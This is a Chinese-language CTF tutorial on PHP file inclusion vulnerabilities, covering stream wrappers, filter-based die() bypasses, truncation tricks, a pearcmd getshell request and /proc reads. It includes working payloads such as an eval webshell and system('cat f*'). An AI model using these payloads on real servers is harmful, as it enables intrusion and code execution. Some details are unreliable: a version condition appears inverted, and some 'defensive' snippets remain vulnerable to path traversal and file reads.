Skip to content

文件包含概述

开发人员常常把可重复使用的函数写入到单个文件中,在需要使用这些函数时,直接调用此文件,而无需再次编写函数,这一过程被称为文件包含。例如,在 Python 中可以通过 import 导入其他 Python 文件中的代码:

python
import base64

s = b'Hello iami233'
print(base64.b64encode(s))

在 C 语言中可以通过 includestdio.h 文件中的代码包含到当前文件中:

c
#include <stdio.h>

int main() {
  printf("Hello iami233");
  return 0;
}

文件包含漏洞

文件包含漏洞通常出现在动态网页中。有时候由于网站功能需求,允许前端用户选择要包含的文件。如果开发人员没有对要包含的文件进行充分的安全考虑,比如对传入的文件名没有进行合理校验,攻击者可能通过修改文件的位置来让后台包含任意文件,从而导致文件包含漏洞。

注意:网上常提到的文件读取漏洞、文件下载漏洞均可理解为文件包含漏洞。

大多数 Web 语言都支持文件包含操作,其中 PHP 语言由于其文件包含功能的强大和灵活,文件包含漏洞经常出现在 PHP 语言中。

文件包含函数

在 PHP 中常用的文件包含函数有以下四种:

  • include(): 找不到被包含的文件时只会产生警告,脚本将继续运行。
  • include_once(): 与 include() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require(): 找不到被包含的文件时会产生致命错误,并停止脚本运行。
  • require_once(): 与 require() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

当以上四种函数参数可控时,我们需要知道以下两点特性:

  • 若文件内容符合 PHP 语法规范,包含时不管扩展名是什么都会被 PHP 解析。
  • 若文件内容不符合 PHP 语法规范则会暴露其源码。

除了以上常用的文件包含函数外,还有一些可以实现读取文件内容或对读取文件有帮助的函数,感兴趣的读者可以自行百度:

函数名称描述
file_get_contents()读取文件的内容并将其作为字符串返回。
highlight_file()语法高亮显示文件内容。
fopen()打开文件或 URL。
readfile()读取文件并直接输出。
fread()从文件指针开始读取指定长度的字节。
fgetss()从文件指针中读取一行并过滤掉 HTML 和 PHP 标签。
fgets()从文件指针中读取一行。
parse_ini_file()解析配置文件并将其中的设置作为数组返回。
show_source()语法高亮显示文件内容(highlight_file() 的别名)。
file()将文件读入一个数组中,每个元素是文件的一行。
file_exists()检查文件或目录是否存在。
pathinfo()返回文件路径的信息。
scandir()列出指定目录下的文件和目录。
basename()返回路径中的文件名部分。
dirname()返回路径中的目录部分。

文件包含分类

文件包含漏洞主要分为 本地远程 两种类别,分类取决于所包含文件位置的不同。这两种分类依赖于 php.ini 中的两个配置项,修改配置时注意 On / Off 开头需大写,并在修改后重启 Web 服务以使配置文件生效。

ini
allow_url_fopen(默认开启)
allow_url_include(默认关闭,远程文件包含必须开启)

本地文件包含

当被包含的文件在服务器本地时,如下图所示:

http://127.0.0.1/?filename=/etc/passwd
http://127.0.0.1/?filename=./phpinfo.txt

远程文件包含

当被包含的文件在远程服务器时,如下图所示:

http://127.0.0.1/?filename=http://example.com/readme.md

如何判断服务器类型

虽然判断服务器类型的必要性不是很大,但了解一些基本思路仍有帮助:

读取文件

可以尝试读取 /etc/passwd 文件,如果可行则代表操作系统为 Linux,反之为 Windows(注意这种方法并非百分百准确,某些情况下可能存在过滤不允许任意文件包含)。

大小写混写

可以利用文件包含读取文件时,大小写敏感的特性来判断服务器类型,因为在 Linux 中严格区分大小写,而 Windows 不区分大小写。例如在 Windows 下包含的文件为 lfi.txt,即使写成 Lfi.txtlFi.tXT 等形式也能包含成功。

文件包含协议

file://

  • 条件

    • allow_url_fopen:不受影响
    • allow_url_include:不受影响
  • 作用:用于访问本地文件系统。

  • 说明file:// 是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径时,路径将基于当前的工作目录。

  • 用法

    php
    file:///etc/passwd
    file://C:/Windows/win.ini

php://

条件

  • allow_url_fopen: 不受影响
  • allow_url_include: 部分情况需要 on

作用php:// 协议用于访问 PHP 的输入/输出流(I/O streams),包括标准输入、输出、错误描述符等。它提供了对 PHP 内部流的直接操作能力。

说明:以下是 php:// 协议中常用的流和其功能:

协议作用
php://input只读流,用于访问原始 POST 数据。enctype="multipart/form-data" 的请求中此流不可用。
php://output只写流,允许将数据写入输出缓冲区,类似于 printecho
php://fd(>=5.3.6) 允许访问指定的文件描述符。例如 php://fd/3 访问文件描述符 3。
php://memory / php://temp(>=5.1.0) 允许读写临时数据。php://memory 将数据存储在内存中,而 php://temp 在内存达到限制(默认 2MB)后存储在临时文件中。临时文件的位置与 sys_get_temp_dir() 一致。
php://filter(>=5.0.0) 一种元封装器,应用数据流过滤。对于如 readfile()file()file_get_contents() 等函数在读取数据流内容之前应用过滤器非常有用。

php://filter 参数详解

php://filter 协议允许在路径中传递参数来应用数据过滤。多个参数可以通过管道符 (|) 组合使用。具体参数说明如下:

参数描述
resource=<要过滤的数据流>必需。指定要筛选的数据流。
read=<读链的过滤器>可选。设置一个或多个读取过滤器名称,使用管道符 (`
write=<写链的过滤器>可选。设置一个或多个写入过滤器名称,使用管道符 (`
;<过滤器>没有 read=write= 前缀的筛选器会根据情况应用于读链或写链。

常用过滤器

字符串过滤器作用
string.rot13执行 str_rot13() 转换
string.toupper执行 strtoupper() 转换
string.tolower执行 strtolower() 转换
string.strip_tags执行 strip_tags() 去除 HTML 和 PHP 标签
转换过滤器作用
convert.base64-encode & convert.base64-decode执行 base64_encode()base64_decode() 编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode执行 quoted-printable 编码和解码
压缩过滤器作用
zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件,但不包括 gzip 的头和尾信息,只处理数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress同上,处理 bz2 兼容的文件。
加密过滤器作用
mcrypt.*执行 libmcrypt 对称加密算法
mdecrypt.*执行 libmcrypt 对称解密算法

示例

convert过滤器
php
<?php
highlight_file(__FILE__);
error_reporting(0);

function filter($x) {
    if (preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i', $x)) {
        die('too young too simple sometimes naive!');
    }
}

$file = $_GET['file'];
$contents = $_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>" . $contents);

利用 Base64 和 Rot13 过滤,尝试编码生成符合要求的字符串:

php
// 通过 URL 编码两次绕过过滤
GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST: contents=?<hp pystsme"(ac tlf"*;)

关于编码,ucs-2 编码的字符串位数应为偶数,ucs-4 编码的字符串位数应为 4 的倍数:

php
<?php 
echo iconv("UCS-2LE","UCS-2BE",'<?php system("cat fl*");');

Base64过滤器编码
php
# index.php
<?php
highlight_file(__FILE__);
require($_GET['filename']);
?>

# flag.php
<?php
// $flag = 'flag{th14_1s_m3_fl4g}';
echo '答案在注释里,自己找吧';

使用 php://filter 伪协议读取文件内容,并用 convert.base64-encode 过滤器编码:

php
php://filter/read=convert.base64-encode/resource=flag.php

Rot13过滤器编码
php
<?php
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>" . $content);
} else {
    highlight_file(__FILE__);
}

绕过 die() 的一种方法是使用 Base64 或 Rot13 编码:

php
// Base64 示例
GET: ?file=php://filter/convert.base64-decode/resource=1.php
POST: content=<?php system('cat f*');

php
// Rot13 示例
GET: ?file=php://filter/string.rot13/resource=1.php
POST: content=<?php system('cat f*');

Rot13 解码后内容:

php
<?cuc qvr('大佬别秀了');?><?php system('cat f*');

php://input

注意 php://input 需要开启 allow_url_include,另外尽量不要使用 hackbar 进行发包,可能无法正常发包。

php
<?php
highlight_file(__FILE__);
include($_GET['filename']);
?>

写入操作示例:

php
<?php file_put_contents('shell.php', '<?php @eval($_POST[cmd]);');

data://

条件

  • allow_url_fopen: on
  • allow_url_include: on

作用:从 PHP 5.2.0 开始,data:// 数据流封装器允许在 PHP 代码中嵌入和传递数据。这通常用于传递特定格式的数据,也可以用来执行 PHP 代码。

用法

php
data://text/plain,<?php phpinfo();
data://text/plain;base64,[Base64编码的代码]

phar://

条件

  • allow_url_fopen: on
  • allow_url_include: 不受影响

作用:Phar (PHP Archive) 是从 PHP 5.3.0 版本引入的功能,允许通过 phar:// 流封装器访问和操作 Phar 文件格式。攻击者可以利用文件包含漏洞和序列化对象执行恶意代码。

示例

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'text content');
$phar->setMetadata(new EvilClass());
$phar->stopBuffering();

通过 phar:// 协议访问序列化对象:

php
include('phar://test.phar');

zip://, bzip2://, zlib://

条件

  • allow_url_fopen: on
  • allow_url_include: 不受影响

作用:允许访问压缩文件中的内容,且不需要指定特定的文件后缀名,文件扩展名可以被修改为任意值。

用法

php
// 访问 ZIP 文件中的指定文件
$content = file_get_contents('zip://path/to/archive.zip#file.txt');
echo $content;

bypass

00截断

在 PHP 中,由于其内核是用 C 语言实现的,因此继承了 C 语言中的一些字符串处理方式。特别是,C 语言使用 \x00(也就是 NULL 字节)作为字符串的结束符。这意味着,当 PHP 处理包含 NULL 字节的字符串时,它会在遇到 \x00 时截断字符串。

条件

  • magic_quotes_gpc: off
  • PHP >= 5.3.4

示例

  • 文件路径截断

    如果我们需要访问 /etc/passwd 文件,但路径中有一个 NULL 字节,可以将路径写成 ../../etc/passwd\0。在 Web 输入中,NULL 字节需要 URL 编码,变成:

    ../../etc/passwd%00
  • 目录遍历截断

    利用 NULL 字节来绕过目录遍历限制。例如,使用以下 URL 可能绕过路径检查:

    ?file=../../../../../../../../../var/www/%00

    这种方式适用于 Unix 文件系统,如 FreeBSD、OpenBSD、NetBSD、Solaris 等。

长度截断

利用操作系统对目录名长度的限制进行路径截断。Windows 系统通常对路径长度限制为 256 字节,而 Linux 系统通常限制为 4096 字节。通过构造超长路径,攻击者可以达到截断的效果。

条件

  • PHP >= 5.2.8

示例

php
././././././././././././././././passwd

pearcmd

Docker PHP 裸文件本地包含综述中,提到了 pearcmd.php 的利用方法。该方法无需竞争条件,也没有额外的版本限制,只要是 Docker 启动的 PHP 环境即可通过一个数据包搞定。

在 Docker 的任何版本镜像中,pcel/pear 都会被默认安装,安装路径在/usr/local/lib/php

通过发送以下数据包,目标将写入一个文件 /tmp/hello.php,其中包含 <?=phpinfo()?>。然后,利用文件包含漏洞包含这个文件即可实现 getshell。

http
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

peclcmd

peclcmd 相似,参考 SEETF-2023 中的一道题目。

proc

/proc 是一个在 Linux 系统中用于访问内核内部数据结构、获取系统信息以及控制系统行为的虚拟文件系统。它提供了一种通过文件系统的方式查看和操作内核状态的机制。值得注意的是,/proc 是一个伪文件系统,其数据只存在于内存中,而不占用硬盘空间。

在文件包含漏洞的情境中,通常会存在非预期的情况,例如 Dreamer_revenge(红明谷杯 2023)、ArkNights(羊城杯 2023)、YamiYami(HDCTF 2023)、MyBox(NSSCTF 2nd)。因此,如果出题人未清空变量,很有可能通过 /proc 实现非预期攻击。

以下是一些常用的 /proc 目录下文件和目录:

文件路径描述
/proc/self表示当前进程的目录。通过 /proc/self 可以方便地获取当前进程的信息。
/proc/self/cmdline包含当前进程的完整命令行参数。
/proc/self/cwd是一个符号链接,指向当前进程的当前工作目录。
/proc/self/exe是一个符号链接,指向当前进程的可执行文件。
/proc/self/environ包含当前进程的环境变量。
/proc/self/fd/是一个目录,包含当前进程打开的文件描述符的符号链接列表。
/proc/$pid/表示进程号为 $pid 的进程目录。例如,/proc/1234/ 对应进程号为 1234 的进程(Docker 容器默认的 PID 为 1)。

通过读取这些文件,可以获取关于进程的详细信息,方便进行调试和监控。对于 Docker 容器,/proc 中的信息可以用于发现容器内部的运行时信息,如进程启动命令、环境变量等。

防御措施

为防止文件包含漏洞,我们可以采取以下几种防御措施:

禁用不必要的功能

关闭 allow_url_include 以防止远程文件包含漏洞:

ini
allow_url_include = Off

严格验证用户输入

对用户输入的文件路径进行严格验证和过滤,避免包含不受信任的文件:

php
$page = $_GET['page'];
$allowed_pages = ['home.php', 'about.php', 'contact.php'];

if (in_array($page, $allowed_pages)) {
    include($page);
} else {
    echo 'Invalid page!';
}

使用绝对路径

使用绝对路径包含文件,避免相对路径带来的安全风险:

php
include('/var/www/html/' . $_GET['page']);

限制文件类型

仅允许包含特定类型的文件,例如 .php 文件:

php
$page = $_GET['page'];

if (preg_match('/^[a-zA-Z0-9_-]+\.php$/', $page)) {
    include($page);
} else {
    echo 'Invalid page!';
}

使用安全函数

尽量使用更安全的文件包含函数,如使用 readfile() 仅读取文件内容,而不解析代码:

php
readfile('/var/www/html/' . $_GET['page']);